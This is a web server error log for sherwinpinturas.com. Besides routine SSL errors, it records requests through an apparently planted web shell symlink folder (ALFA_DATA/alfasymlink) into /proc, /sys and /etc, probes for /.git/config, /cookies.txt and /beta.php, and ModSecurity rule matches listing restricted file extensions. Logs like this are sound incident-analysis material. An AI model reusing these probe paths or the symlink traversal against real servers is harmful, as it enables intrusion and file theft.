[Mon Oct 26 16:34:02.283107 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.236.135.14:6333] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:00/physical_node/subsystem/drivers/cirrus/0000:00:02.0/drm/card0/device/driver/"] [unique_id "at-5OqFL9aMETz-8AU8eJgAAAAQ"]
[Mon Oct 26 16:34:03.797218 2026] [core:crit] [pid 3058816:tid 3058816] (13)Permission denied: [client 216.244.66.250:39404] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2195760/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2195760/fd/' is executable
[Mon Oct 26 16:34:03.797280 2026] [core:crit] [pid 3058816:tid 3058816] (13)Permission denied: [client 216.244.66.250:39404] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2195760/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2195760/map_files/' is executable
[Mon Oct 26 16:34:03.797296 2026] [core:crit] [pid 3058816:tid 3058816] (13)Permission denied: [client 216.244.66.250:39404] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2195760/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2195760/fdinfo/' is executable
[Mon Oct 26 16:34:06.292491 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 34.194.14.255:4583] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:34:10.206094 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 35.153.86.200:21209] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:34:16.685885 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 85.208.96.195:36392] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_cache/object_size
[Mon Oct 26 16:34:18.205107 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.210.223.61:41887] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:34:22.177128 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 3.229.164.203:23245] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:34:30.230672 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 100.29.155.89:26912] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:34:36.912699 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 216.244.66.250:51070] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/mailips
[Mon Oct 26 16:34:38.326456 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 52.203.152.231:46998] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:34:42.246884 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 100.28.49.152:13485] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:34:54.215297 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 54.87.62.248:22743] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:34:58.231705 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 98.82.107.102:44384] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:35:11.333513 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 185.191.171.5:33060] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/blkdev_ioc/alloc_calls
[Mon Oct 26 16:35:14.284957 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 107.23.62.75:8753] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:35:18.161557 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 34.199.252.22:11801] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:35:20.903109 2026] [security2:error] [pid 3084053:tid 3084053] [client 216.244.66.250:59850] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/bin/run-with-aspell"] [unique_id "at-5iPCtl1PgaN9A_9xKlwAAADQ"]
[Mon Oct 26 16:35:20.903155 2026] [security2:error] [pid 3084053:tid 3084053] [client 216.244.66.250:59850] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/bin/run-with-aspell"] [unique_id "at-5iPCtl1PgaN9A_9xKlwAAADQ"]
[Mon Oct 26 16:35:22.195294 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 44.221.180.179:18062] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:35:26.262194 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 34.231.118.144:24796] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:35:26.262397 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.231.118.144:24796] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/tty11/subsystem/tty0/subsystem/tty5/dev"] [unique_id "at-5jsdX-waAlDqXJHtVpAAAABY"]
[Mon Oct 26 16:35:26.262420 2026] [security2:error] [pid 3064975:tid 3064975] [client 34.231.118.144:24796] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/tty11/subsystem/tty0/subsystem/tty5/dev"] [unique_id "at-5jsdX-waAlDqXJHtVpAAAABY"]
[Mon Oct 26 16:35:34.529423 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 52.205.113.104:9901] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:35:35.602095 2026] [security2:error] [pid 3084056:tid 3084056] [client 45.148.10.120:34326] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic5.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-5l3KvFNFM41eF9IjmRQAAADc"]
[Mon Oct 26 16:35:35.602379 2026] [security2:error] [pid 3084056:tid 3084056] [client 45.148.10.120:34326] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-5l3KvFNFM41eF9IjmRQAAADc"]
[Mon Oct 26 16:35:35.602705 2026] [security2:error] [pid 3084056:tid 3084056] [client 45.148.10.120:34326] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-5l3KvFNFM41eF9IjmRQAAADc"]
[Mon Oct 26 16:35:46.234056 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 54.235.158.162:5951] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/resource3
[Mon Oct 26 16:35:49.382536 2026] [core:crit] [pid 3058816:tid 3058816] (13)Permission denied: [client 106.63.26.139:33531] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 16:35:50.163274 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 54.156.248.117:50293] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:35:54.330060 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 35.168.238.50:32692] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:36:02.173878 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 3.215.221.125:24250] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:36:11.696504 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 185.191.171.5:14710] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:36:30.176549 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 34.196.114.170:12909] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:36:34.313213 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.209.100.30:12092] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:36:42.210957 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 34.224.9.144:38371] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:36:45.492683 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 185.191.171.5:42672] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/remote_node_defrag_ratio
[Mon Oct 26 16:36:47.842152 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 85.208.96.210:47390] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/red_zone
[Mon Oct 26 16:36:50.191271 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 34.226.89.140:44871] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:36:54.171078 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 107.20.255.194:19887] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:36:58.286372 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 52.22.87.224:43280] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:37:02.225760 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 34.231.45.47:18552] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/firmware_node/PNP0400:00/subsystem/drivers_probe
[Mon Oct 26 16:37:13.058100 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 85.208.96.199:48864] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:37:30.698870 2026] [security2:error] [pid 3085795:tid 3085795] [client 43.165.125.66:46256] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/cookies.txt"] [unique_id "at-6Cl3BHaKovmquNkFrSgAAAAA"]
[Mon Oct 26 16:37:34.258006 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 98.82.40.168:44486] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:37:36.788036 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 85.208.96.194:16132] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:37:38.511339 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.223.181.32:55785] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:37:38.788870 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 85.208.96.197:12814] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:37:50.165060 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 44.220.2.97:58164] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:17/subsystem/devices/device:03/physical_node/driver/module/sections/__bug_table
[Mon Oct 26 16:38:02.206562 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 100.29.164.178:6634] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS3/subsystem/tty30/subsystem/ttyS2/port
[Mon Oct 26 16:38:10.336974 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 34.202.88.37:33944] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:38:14.302530 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 3.218.103.254:6813] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:38:18.466429 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.224.205.25:63012] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:38:19.252173 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 85.208.96.206:11392] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-192/aliases
[Mon Oct 26 16:38:22.242958 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 34.231.77.232:28117] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:38:37.055767 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 185.191.171.12:48526] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_tasks/order
[Mon Oct 26 16:38:46.194280 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 52.203.65.83:40854] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:38:58.359460 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 44.223.193.255:61095] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:39:06.562585 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 185.191.171.14:30714] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:39:10.206846 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 184.72.95.195:60018] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:39:18.266053 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 52.1.157.90:46351] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:39:25.429289 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 185.191.171.14:20344] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark/red_zone
[Mon Oct 26 16:39:26.430438 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 3.215.59.93:65377] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:39:34.149882 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 54.147.238.89:50023] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:39:38.202183 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 23.21.179.120:3771] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:39:46.347152 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 34.236.185.101:25950] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:39:54.192721 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.217.82.254:25854] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:39:58.519516 2026] [ssl:error] [pid 3085795:tid 3085795] (5)Input/output error: [client 50.16.216.166:30861] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:40:02.183914 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 3.225.9.97:65203] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:40:06.381381 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 34.225.87.80:26743] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:40:10.326216 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 52.71.46.142:44612] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:40:14.192141 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.3.104.214:2202] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:40:26.215573 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 52.5.242.243:30490] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:40:30.256167 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 35.173.18.61:53929] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:40:34.195788 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 34.202.88.37:23706] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:40:42.165344 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 98.83.94.113:57721] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/pci-stub/uevent
[Mon Oct 26 16:40:46.151401 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 3.224.205.25:15225] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:40:50.312926 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 54.145.82.217:14895] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:40:54.223684 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 50.16.216.166:43608] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:40:58.206875 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 100.29.160.53:8366] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:41:02.162678 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 3.224.215.150:11014] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:41:07.840034 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 185.191.171.4:63548] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_buffer/ctor
[Mon Oct 26 16:41:14.201356 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 98.82.66.172:40260] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:41:18.347427 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 100.24.149.244:20297] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory19/node0/memory10/node0/compact
[Mon Oct 26 16:41:20.471566 2026] [security2:error] [pid 3084023:tid 3084023] [client 107.172.76.131:56420] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-643Ms9DEewnALzGZ0bwAAACM"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 16:41:20.471651 2026] [security2:error] [pid 3084023:tid 3084023] [client 107.172.76.131:56420] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-643Ms9DEewnALzGZ0bwAAACM"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 16:41:22.358714 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.70.138.176:53224] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:41:25.839241 2026] [authz_core:error] [pid 3084053:tid 3084053] [client 66.240.223.208:58356] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 16:41:26.073864 2026] [core:error] [pid 3082381:tid 3082381] (13)Permission denied: [client 185.191.171.1:19932] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-8/align
[Mon Oct 26 16:41:30.225765 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 85.208.96.195:48902] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-16/aliases
[Mon Oct 26 16:41:37.092230 2026] [security2:error] [pid 3085795:tid 3085795] [client 85.208.96.202:51402] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/nginx/modules/mod-stream.conf"] [unique_id "at-7AV3BHaKovmquNkFrVAAAAAA"]
[Mon Oct 26 16:41:37.092606 2026] [security2:error] [pid 3085795:tid 3085795] [client 85.208.96.202:51402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/nginx/modules/mod-stream.conf"] [unique_id "at-7AV3BHaKovmquNkFrVAAAAAA"]
[Mon Oct 26 16:41:37.093051 2026] [security2:error] [pid 3085795:tid 3085795] [client 85.208.96.202:51402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/nginx/modules/mod-stream.conf"] [unique_id "at-7AV3BHaKovmquNkFrVAAAAAA"]
[Mon Oct 26 16:41:54.265585 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 34.225.87.80:44252] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:42:06.336894 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 52.202.52.82:8311] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:42:10.184886 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 18.206.47.187:16529] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:42:18.166381 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 23.21.179.120:11767] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:42:23.019491 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 185.191.171.10:14226] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:42:24.546986 2026] [security2:error] [pid 3098114:tid 3098114] [client 54.170.54.203:6121] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "at-7MIU8RArHmY5bTmWskwAAAAY"]
[Mon Oct 26 16:42:24.547027 2026] [security2:error] [pid 3098114:tid 3098114] [client 54.170.54.203:6121] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "at-7MIU8RArHmY5bTmWskwAAAAY"]
[Mon Oct 26 16:42:54.165730 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 3.81.253.213:13811] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:42:58.161116 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 54.204.12.115:40245] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:43:02.155125 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 54.197.178.107:40950] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:43:06.476590 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 54.235.125.129:47024] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:43:10.259200 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 98.82.66.172:41174] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.3/remove
[Mon Oct 26 16:43:14.331474 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 50.19.79.213:32927] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0501:01/subsystem/drivers/button/LNXPWRBN:00/driver/unbind
[Mon Oct 26 16:43:19.072591 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 18.208.11.93:34856] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:43:22.466909 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 18.213.240.226:60770] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:43:30.174692 2026] [ssl:error] [pid 3098114:tid 3098114] (22)Invalid argument: [client 52.204.81.148:56227] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:43:38.291908 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 52.4.213.199:55172] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:43:46.290418 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.221.50.71:59179] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:43:50.228259 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 100.28.44.58:64725] AH02013: coalesce failed to read from data bucket
